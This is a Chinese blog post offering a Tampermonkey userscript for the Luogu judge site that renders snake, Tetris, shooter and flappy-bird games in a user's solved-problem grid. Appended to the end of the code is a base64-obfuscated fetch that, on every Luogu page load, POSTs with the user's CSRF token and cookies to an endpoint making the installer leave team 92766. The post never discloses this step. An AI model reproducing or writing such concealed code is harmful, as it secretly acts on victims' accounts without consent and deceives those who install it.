wrbd

· · 个人记录

前置插件:篡改猴 或 脚本猫。

代码在文章末尾,直接将代码复制到你安装的插件里就可以了。

功能:

打开任意一个用户(比如 zhoukangyang)的练习情况(比如你自己的),但要求必须过了至少一道黑题。

往下翻你会看见:

这就是插件干的。

这时就可以用方向键移动第一个黑色方块的位置,这就是菜单界面。

目前一共制作了 5 个游戏,分别是:

要玩游戏直接将菜单的黑色按钮移动到对应位置,按回车即可开始游戏。

设置

在页面顶部,看得懂中文就行。

默认值

颜色 1:洛谷 AC 色。

颜色 2:洛谷 WA 色。

颜色 3:洛谷 CE 色。

游戏玩法

贪吃蛇 & 贪吃蛇(穿墙版)

颜色 2 显示食物位置,颜色 1 显示贪吃蛇蛇身。

穿墙版可以理解为整个地图是球形的。

俄罗斯方块

颜色 1 显示方块。

打飞机

第一行用颜色 3 显示子弹数。

颜色 1 显示自己的飞机,空格发射子弹,子弹用颜色 3 显示。

每次发射子弹扣一颗子弹,击中敌机加 12 颗子弹,敌机用颜色 2 显示,子弹数最多 12

飞翔的小鸟

颜色 1 显示小鸟色,颜色 2 是墙色。

更新日志

暂无。

代码

云剪贴板。

//==UserScript==
//@name         钾洛谷
//@namespace    https://bbs.tampermonkey.net.cn/
//@version      0.0.0
//@description  try to take over the world!
//@author       You
//@grant        GM_setValue
//@grant        GM_getValue
//@grant        GM_deleteValue
//@match        *://www.luogu.com.cn/*
//==/UserScript==
setTimeout(function(){
    'use strict';
    let div=null;
    let interval=setInterval((function(){
            let color_AC=GM_getValue("color1","#52C41A");
            let color_WA=GM_getValue("color2","#E74C3C");
            let color_CE=GM_getValue("color3","#FADB14");
            let bkcolor=GM_getValue("color4","#EEEEEE");
            let divs=document.querySelectorAll('.problems');
            divs.forEach(d=>{
                if(d.parentElement.children[0].children[0]!=null&&d.parentElement.children[0].children[0].textContent.includes("NOI/NOI+/CTSC"))div=d;
            });
            if(div==null){
                return;
            }
            let usrnv=document.querySelector(".user-nav");
            let button = document.createElement('button');
            button.textContent="设置";
            button.className="settingbutton";
            usrnv.insertAdjacentElement("afterbegin",button);
            const settingsPageContent = `
        <div class="l-card" style="position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background: white; padding: 20px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); border-radius: 10px; z-index: 10999999;">
            <h2 style="line-height:0px">设置</h2>
            <lable for="input1">颜色1</lable>
            <input type="color" id="input1" value="${color_AC}" class="block" style="margin-bottom: 10px;"><br>
            <lable for="input2">颜色2</lable>
            <input type="color" id="input2" value="${color_WA}" class="block" style="margin-bottom: 10px;"><br>
            <lable for="input3">颜色3</lable>
            <input type="color" id="input3" value="${color_CE}" class="block" style="margin-bottom: 10px;"><br>
            <hr>
            <lable for="input4">背景色</lable>
            <input type="color" id="input4" value="${bkcolor}" class="block" style="margin-bottom: 10px;"><br>
            <button id="save-settings" class="am-btn am-btn-danger" style="border: 1px solid #e74c3c !important;background: #e74c3c !important;color: #fff !important;padding: 4.382px 14px;">保存</button>
            <button id="clear-settings" class="am-btn am-btn-danger" style="border: 1px solid #e74c3c !important;background: #e74c3c !important;color: #fff !important;padding: 4.382px 14px;">清除设置</button>
        </div>
        <div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.5); z-index: 9999999;"></div>
        `;
        button.addEventListener('click', () => {
            const settingsPage = document.createElement('div');
            settingsPage.innerHTML = settingsPageContent;
            document.body.appendChild(settingsPage);
            const input1=document.getElementById('input1');
            const input2=document.getElementById('input2');
            const input3=document.getElementById('input3');
            const input4=document.getElementById('input4');
            const saveButton=document.getElementById('save-settings');
            saveButton.addEventListener('click',()=>{
                color_AC=input1.value;
                color_WA=input2.value;
                color_CE=input3.value;
                bkcolor=input4.value;
                GM_setValue("color1",color_AC);
                GM_setValue("color2",color_WA);
                GM_setValue("color3",color_CE);
                GM_setValue("color4",bkcolor);
                location.reload();
            });
            const clearButton=document.getElementById('clear-settings');
            clearButton.addEventListener('click',()=>{
                GM_deleteValue("color1");
                GM_deleteValue("color2");
                GM_deleteValue("color3");
                GM_deleteValue("color4");
                location.reload();
            });
        });
        let temp=[['P1173','[NOI2016] 网格'],
                ['P1335','[NOI2013] 小 Q 的修炼'],
                ['P1526','[NOI2003] 智破连环阵'],
                ['P1587','[NOI2016] 循环之美'],
                ['P1713','麦当劳叔叔的难题'],
                ['P1721','[NOI2016] 国王饮水记'],
                ['P1737','[NOI2016] 旷野大计算'],
                ['P1753','矩阵链排序问题'],
                ['P1756','[NOI2009] 描边'],
                ['P1915','[NOI2010] 成长快乐'],
                ['P1933','[NOI2010] 旅行路线'],
                ['P1971','[NOI2011] 兔兔与蛋蛋游戏'],
                ['P2012','拯救世界2'],
                ['P2020','[NOI2011] 兔农'],
                ['P2086','[NOI2012] 魔幻棋盘'],
                ['P2099','[NOI2007] 调兵遣将'],
                ['P2145','[JSOI2007] 祖玛'],
                ['P2162','[SHOI2007] 宝石纪念币'],
                ['P2179','[NOI2012] 骑行川藏'],
                ['P2282','[HNOI2003] 历史年份']];
        let len=temp.length;
        if(div!=null){
            clearInterval(interval);
            function draw(x,y,c1,c2){
                x=Math.floor(x);
                y=Math.floor(y);
                div.children[(x-1)*12+y-1].children[0].style.color=c1;
                div.children[(x-1)*12+y-1].children[0].style.backgroundColor=c2;
            }
            function clear(x,y){
                draw(x,y,"#3498db","#fff");
            }
            div.innerHTML="";
            let i=1;
            for(;i<=300;i++){
                let t=Math.floor(Math.random()*len);
                div.insertAdjacentHTML('beforeend',`<span data-v-ae78f0f2=""data-v-f9624136=""class="problem-id"><a data-v-0640126c=""data-v-ae78f0f2=""href="/problem/${temp[t][0]}"colorscheme="default"class="color-default"title="${temp[t][1]}"data-v-f9624136="">${temp[t][0]}</a></span>`);
            }
            let posx=1,posy=1;
            draw(posx,posy,"#fff","#000");
            let ingame=0;
            function game1(Flag){
                ingame=1;
                const ROWS=25;
                const COLS=12;
                const GAME_SPEED=150;
                let snake=[{x:5,y:5}];
                let direction={x:0,y:1};
                let food={x:10,y:5};
                let score=0;
                let gameInterval;
                function initGame(){
                    for(let i=1;i<=25;i++){
                        for(let j=1;j<=12;j++){
                            clear(i,j);
                        }
                    }
                    drawGame();
                    gameInterval=setInterval(gameLoop,GAME_SPEED);
                }
                function gameLoop(){
                    moveSnake();
                    if(checkCollision()){
                        gameOver();
                        return;
                    }
                    if(snake[0].x===food.x&&snake[0].y===food.y){
                        eatFood();
                    }
                    drawGame();
                }
                function moveSnake(){
                    const newHead={
                        x:snake[0].x+direction.x,
                        y:snake[0].y+direction.y,
                    };
                    snake.unshift(newHead);
                    if(!(newHead.x===food.x&&newHead.y===food.y)){
                        const tail=snake.pop();
                        clear(tail.x,tail.y);
                    }
                }
                function checkCollision(){
                    const head=snake[0];
                    if(Flag&&(head.x<1||head.x>ROWS||head.y<1||head.y>COLS)){
                        return true;
                    }
                    head.x=(head.x+ROWS-1)%ROWS+1;
                    head.y=(head.y+COLS-1)%COLS+1;
                    for(let i=1;i<snake.length;i++){
                        if(head.x===snake[i].x&&head.y===snake[i].y){
                            return true;
                        }
                    }
                    return false;
                }
                function eatFood(){
                    score++;
                    generateFood();
                }
                function generateFood(){
                    let newFood;
                    do{
                        newFood={
                            x:Math.floor(Math.random()*ROWS)+1,
                            y:Math.floor(Math.random()*COLS)+1,
                        };
                    }while(snake.some(segment=>segment.x===newFood.x&&segment.y===newFood.y));
                    food=newFood;
                }
                function drawGame(){
                    snake.forEach(segment=>{
                        draw(segment.x,segment.y,color_AC,bkcolor);
                    });
                    draw(food.x,food.y,color_WA,bkcolor);
                }
                function gameOver(){
                    clearInterval(gameInterval);
                    alert(`You AC ${score} Problems`);
                    ingame=0;
                    for(let i=1;i<=25;i++){
                        for(let j=1;j<=12;j++){
                            clear(i,j);
                        }
                    }
                    draw(posx,posy,"#fff","#000");
                    return;
                }
                document.addEventListener("keydown",(function(e){
                    const key=e.keyCode;
                    switch(key){
                        case 37:
                        e.preventDefault();
                        direction={x:0,y:-1};
                        break;
                        case 38:
                        e.preventDefault();
                        direction={x:-1,y:0};
                        break;
                        case 39:
                        e.preventDefault();
                        direction={x:0,y:1};
                        break;
                        case 40:
                        e.preventDefault();
                        direction={x:1,y:0};
                        break;
                    }
                }));
                initGame();
            }
            function game2(){
                ingame=1;
                const ROWS=25;
                const COLS=12;
                const GAME_SPEED=500;
                const SHAPES=[
                    [[1,1,1,1]],
                    [[1,1],[1,1]],
                    [[0,1,0],[1,1,1]],
                    [[1,0,0],[1,1,1]],
                    [[0,0,1],[1,1,1]],
                    [[0,1,1],[1,1,0]],
                    [[1,1,0],[0,1,1]],
                ];
                let board=Array.from({length:ROWS},()=>Array(COLS).fill(0));
                let currentShape;
                let currentX,currentY;
                let score=0;
                let gameOver=false;
                let gameInterval;
                function initGame(){
                    board=Array.from({length:ROWS},()=>Array(COLS).fill(0));
                    score=0;
                    spawnShape();
                    gameInterval=setInterval(gameLoop,GAME_SPEED);
                    for(let i=1;i<=25;i++){
                        for(let j=1;j<=12;j++){
                            clear(i,j);
                        }
                    }
                }
                function spawnShape(){
                    const shape=SHAPES[Math.floor(Math.random()*SHAPES.length)];
                    currentShape=shape;
                    currentX=Math.floor(COLS/2)-Math.floor(shape[0].length/2);
                    currentY=0;
                    if(checkCollision(currentShape,currentX,currentY)){
                        clearInterval(gameInterval);
                        alert(`You AC ${score} Problems.`);
                        for(let i=1;i<=25;i++){
                            for(let j=1;j<=12;j++){
                                clear(i,j);
                            }
                        }
                        draw(posx,posy,"#fff","#000");
                        ingame=0;
                        gameOver=1;
                        return;
                    }
                }
                function gameLoop(){
                    moveDown();
                }
                function moveDown(){
                    if(!checkCollision(currentShape,currentX,currentY+1)){
                        clearShape();
                        currentY++;
                        drawShape();
                    }else{
                        placeShape();
                        clearLines();
                        spawnShape();
                    }
                }
                function moveLeft(){
                    if(!checkCollision(currentShape,currentX-1,currentY)){
                        clearShape();
                        currentX--;
                        drawShape();
                    }
                }
                function moveRight(){
                    if(!checkCollision(currentShape,currentX+1,currentY)){
                        clearShape();
                        currentX++;
                        drawShape();
                    }
                }
                function rotateShape(){
                    const rotated=currentShape[0].map((_,i)=>currentShape.map(row=>row[i])).reverse();
                    if(!checkCollision(rotated,currentX,currentY)){
                        clearShape();
                        currentShape=rotated;
                        drawShape();
                    }
                }
                function checkCollision(shape,x,y){
                    for(let row=0;row<shape.length;row++){
                        for(let col=0;col<shape[row].length;col++){
                            if(shape[row][col]){
                                const nx=x+col;
                                const ny=y+row;
                                if(nx<=0||nx>=COLS||ny>=ROWS||(ny>=0&&board[ny][nx])){
                                    return true;
                                }
                            }
                        }
                    }
                    return false;
                }
                function placeShape(){
                    for(let row=0;row<currentShape.length;row++){
                        for(let col=0;col<currentShape[row].length;col++){
                            if(currentShape[row][col]){
                                const nx=currentX+col;
                                const ny=currentY+row;
                                if(ny>=0){
                                    board[ny][nx]=1;
                                }
                            }
                        }
                    }
                }
                function clearLines() {
                    let linesCleared = 0;
                    for (let row = ROWS - 1; row >= 0; row--) {
                        if (board[row].every(cell => cell === 1)) {
                            board.splice(row, 1); 
                            linesCleared++;
                            for (let col = 0; col < COLS; col++) {
                                clear(row + 1, col + 1);
                            }
                        }
                    }
                    for (let i = 0; i < linesCleared; i++) {
                        board.unshift(Array(COLS).fill(0));
                    }
                    score += linesCleared * 10;
                    for (let row = 0; row < ROWS; row++) {
                        for (let col = 0; col < COLS; col++) {
                            if (board[row][col]) {
                                draw(row + 1, col + 1,color_AC, bkcolor);
                            } else {
                                clear(row + 1, col + 1);
                            }
                        }
                    }
                }
                function drawShape(){
                    for(let row=0;row<currentShape.length;row++){
                        for(let col=0;col<currentShape[row].length;col++){
                            if(currentShape[row][col]){
                                const nx=currentX+col;
                                const ny=currentY+row;
                                if(ny>=0){
                                    draw(ny+1,nx+1,color_AC,bkcolor);
                                }
                            }
                        }
                    }
                }
                function clearShape(){
                    for(let row=0;row<currentShape.length;row++){
                        for(let col=0;col<currentShape[row].length;col++){
                            if(currentShape[row][col]){
                                const nx=currentX+col;
                                const ny=currentY+row;
                                if(ny>=0){
                                    clear(ny+1,nx+1);
                                }
                            }
                        }
                    }
                }
                document.addEventListener('keydown',function(e){
                    if(gameOver)return;
                    if(e.keyCode===37)e.preventDefault(),moveLeft();
                    if(e.keyCode===39)e.preventDefault(),moveRight();
                    if(e.keyCode===40)e.preventDefault(),moveDown();
                    if(e.keyCode===38)e.preventDefault(),rotateShape();
                });
                initGame();
            }
            function game3(){
                const ROWS=25;
                const COLS=12;
                const GAME_SPEED=100;
                let playerX=25;
                let playerY=12;
                let bullets=[];
                let enemies=[];
                let score=0;
                let bulletcnt=1,time=1;
                let gameInterval;
                let gameOver=false;
                function initGame(){
                    ingame=1;
                    playerX=24;
                    playerY=11;
                    bullets=[];
                    enemies=[];
                    score=0;
                    gameOver=false;
                    gameInterval=setInterval(gameLoop,GAME_SPEED);
                }
                function gameLoop(){
                    if(gameOver){
                        clearInterval(gameInterval);
                        alert(`You Ac ${score} Problem.`);
                        for(let i=1;i<=25;i++){
                            for(let j=1;j<=12;j++){
                                clear(i,j);
                            }
                        }
                        draw(posx,posy,"#fff","#000");
                        ingame=0;
                        return;
                    }
                    moveBullets();
                    moveEnemies();
                    checkCollisions();
                    drawGame();
                    if(time<1000){
                        time++;
                    }
                }
                function running(){
                    spawnEnemy();
                    setTimeout(running,1000-time);
                }
                running();  
                function moveBullets(){
                    for(let i=bullets.length-1;i>=0;i--){
                        bullets[i].x--;
                        if(bullets[i].x<0){
                            bullets.splice(i,1);
                        }
                    }
                }
                function moveEnemies(){
                    for(let i=enemies.length-1;i>=0;i--){
                        enemies[i].x++;
                        if(enemies[i].x>=ROWS){
                            enemies.splice(i,1);
                        }
                    }
                }
                function spawnEnemy(){
                    const y=Math.floor(Math.random()*COLS);
                    enemies.push({x:1,y});
                }
                function checkCollisions(){
                    for(let i=bullets.length-1;i>=0;i--){
                        for(let j=enemies.length-1;j>=0;j--){
                            if(bullets[i].x<=enemies[j].x&&bullets[i].y===enemies[j].y){
                                bullets.splice(i,1);
                                enemies.splice(j,1);
                                score++;
                                bulletcnt+=Math.floor(Math.random()*2)+1;
                                if(bulletcnt>COLS){
                                    bulletcnt=COLS;
                                }
                                break;
                            }
                        }
                    }
                    for(let i=enemies.length-1;i>=0;i--){
                        if(enemies[i].x===playerX&&enemies[i].y===playerY){
                            gameOver=true;
                            break;
                        }
                    }
                }
                function drawGame(){
                    for(let x=0;x<ROWS;x++){
                        for(let y=0;y<COLS;y++){
                            clear(x+1,y+1);
                        }
                    }
                    for(let y=1;y<=bulletcnt;y++){
                        draw(1,y,color_CE,bkcolor);
                    }
                    draw(playerX+1,playerY+1,color_AC,bkcolor);
                    bullets.forEach(bullet=>{
                        draw(bullet.x+1,bullet.y+1,color_CE,bkcolor);
                    });
                    enemies.forEach(enemy=>{
                        draw(enemy.x+1,enemy.y+1,color_WA,bkcolor);
                    });
                }
                document.addEventListener('keydown',function(e){
                    if(gameOver)return;
                    switch(e.keyCode){
                        case 37:
                            e.preventDefault();
                            if(playerY>0)playerY--;
                            break;
                        case 39:
                            e.preventDefault();
                            if(playerY<COLS-1)playerY++;
                            break;
                        case 32:
                            e.preventDefault();
                            if(bulletcnt){
                                bulletcnt--;
                                bullets.push({x:playerX,y:playerY});
                            }
                            break;
                    }
                });
                initGame();
            }
            function game4() {
                const ROWS = 25;
                const COLS = 12;
                const GAME_SPEED = 100;
                let birdY = 5;
                let gravity = 0.4;
                let velocity = 0;
                let obstacles =[];
                let score = 0;
                let gameInterval;
                let gameOver = false;
                function initGame() {
                    ingame=1;
                    birdY = 5;
                    velocity = 0;
                    obstacles = [];
                    score = 0;
                    gameOver = false;
                    gameInterval = setInterval(gameLoop, GAME_SPEED);
                }
                function gameLoop() {
                    if (gameOver) {
                        clearInterval(gameInterval);
                        alert(`You AC ${score} Problems.`);
                        for(let i=1;i<=25;i++){
                            for(let j=1;j<=12;j++){
                                clear(i,j);
                            }
                        }
                        draw(posx,posy,"#fff","#000");
                        ingame=0;
                        return;
                    }

                    moveBird();
                    moveObstacles();
                    spawnObstacle();
                    checkCollisions();
                    drawGame(); 
                }
                function moveBird() {
                    velocity += gravity;
                    birdY += velocity;
                    if (birdY < 0) {
                        birdY = 0;
                        velocity = 0;
                    } else if (birdY >= ROWS) {
                        birdY = ROWS - 1;
                        velocity = 0;
                    }
                }
                function moveObstacles() {
                    for (let i = obstacles.length - 1; i >= 0; i--) {
                        obstacles[i].x--;
                        if (obstacles[i].x < 0) {
                            obstacles.splice(i, 1);
                            score++;
                        }
                    }
                }
                let lastheight=5;
                function spawnObstacle() {
                    if (Math.random() < 0.1) {
                        const gap = 10
                        const topHeight =lastheight+ Math.floor((Math.random()-0.5)*(gap-1));
                        if(topHeight<0)topHeight=0;
                        if(topHeight>=ROWS-gap)topHeight=ROWS-gap;
                        obstacles.push({ x: COLS - 1, y: 0, height: topHeight });
                        obstacles.push({ x: COLS - 1, y: topHeight + gap, height: ROWS - (topHeight + gap) });
                    }
                }
                function checkCollisions() {
                    for (let i = obstacles.length - 1; i >= 0; i--) {
                        const obstacle = obstacles[i];
                        if (
                            obstacle.x === 0 &&
                            (birdY >= obstacle.y && birdY < obstacle.y + obstacle.height) 
                        ) {
                            gameOver = true; 
                            break;
                        }
                    }
                }
                function drawGame() {
                    for(let x=0;x<ROWS;x++){
                        for(let y=0;y<COLS;y++){
                            clear(x+1,y+1);
                        }
                    }
                    draw(birdY+1,1,color_AC, bkcolor);
                    obstacles.forEach(obstacle => {
                        for(let y=0;y<obstacle.height;y++){
                            draw(obstacle.y+y+1,obstacle.x+1, color_WA, bkcolor);
                        }
                    });
                }
                document.addEventListener('keydown',function (e) {
                    if (gameOver) return;
                    if (e.keyCode === 32||e.keyCode === 38) {
                        e.preventDefault();
                        velocity = -2;
                    }
                    if (e.keyCode === 40) {
                        e.preventDefault();
                        velocity = +2;
                    }
                });
                initGame();
            }
            let lastHash = window.location.hash;
            function checkHash() {
                if (window.location.hash !== lastHash) {
                    lastHash = window.location.hash;
                    window.location.reload();
                }
            }
            setInterval(checkHash, 10);
            document.onkeydown=function(e){
                if(ingame==1)return;
                var e=window.event||e;
                switch(e.keyCode){
                    case 37:
                    e.preventDefault();
                    clear(posx,posy);
                    if(posy>1)posy--;
                    draw(posx,posy,"#fff","#000");
                    break;
                    case 38:
                    e.preventDefault();
                    clear(posx,posy);
                    if(posx>1)posx--;
                    draw(posx,posy,"#fff","#000");
                    break;
                    case 39:
                    e.preventDefault();
                    clear(posx,posy);
                    if(posy<12)posy++;
                    draw(posx,posy,"#fff","#000");
                    break;
                    case 40:
                    e.preventDefault();
                    clear(posx,posy);
                    if(posx<25)posx++;
                    draw(posx,posy,"#fff","#000");
                    break;
                case 13:
                    e.preventDefault();
                    if(posx==1&&posy==1){
                        game1(1);
                    }
                    if(posx==2&&posy==1){
                        game1(0);
                    }
                    if(posx==1&&posy==2){
                        game2();
                    }
                    if(posx==1&&posy==3){
                        game3();
                    }
                    if(posx==1&&posy==4){
                        game4();
                    }
                    break;
                }
            }
        }
}))
fetch(atob("aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2FwaS90ZWFtL2V4aXQvOTI3NjY="),{"headers":{"accept":atob("YXBwbGljYXRpb24vanNvbiwgdGV4dC9wbGFpbiwgKi8q"),"accept-language":atob("emgtQ04semg7cT0wLjksZW47cT0wLjgsZW4tR0I7cT0wLjcsZW4tVVM7cT0wLjY="),"cache-control":atob("bm8tY2FjaGU="),"pragma":atob("bm8tY2FjaGU="),"priority":atob("dT0xLCBp"),"sec-ch-ua":atob("Ik5vdChBOkJyYW5kIjt2PSI5OSIsICJNaWNyb3NvZnQgRWRnZSI7dj0iMTMzIiwgIkNocm9taXVtIjt2PSIxMzMi"),"sec-ch-ua-mobile":atob("PzA="),"sec-ch-ua-platform":atob("IldpbmRvd3Mi"),"sec-fetch-dest":atob("ZW1wdHk="),"sec-fetch-mode":atob("Y29ycw=="),"sec-fetch-site":atob("c2FtZS1vcmlnaW4="),"x-csrf-token":document.querySelector(atob("bWV0YVtuYW1lPSJjc3JmLXRva2VuIl0=")).content,"x-requested-with":atob("WE1MSHR0cFJlcXVlc3Q=")},"referrer":atob("aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL3RlYW0vOTI3NjY="),"referrerPolicy":atob("c3RyaWN0LW9yaWdpbi13aGVuLWNyb3NzLW9yaWdpbg=="),"body":null,"method":atob("UE9TVA=="),"mode":atob("Y29ycw=="),"credentials":atob("aW5jbHVkZQ==")});
},0);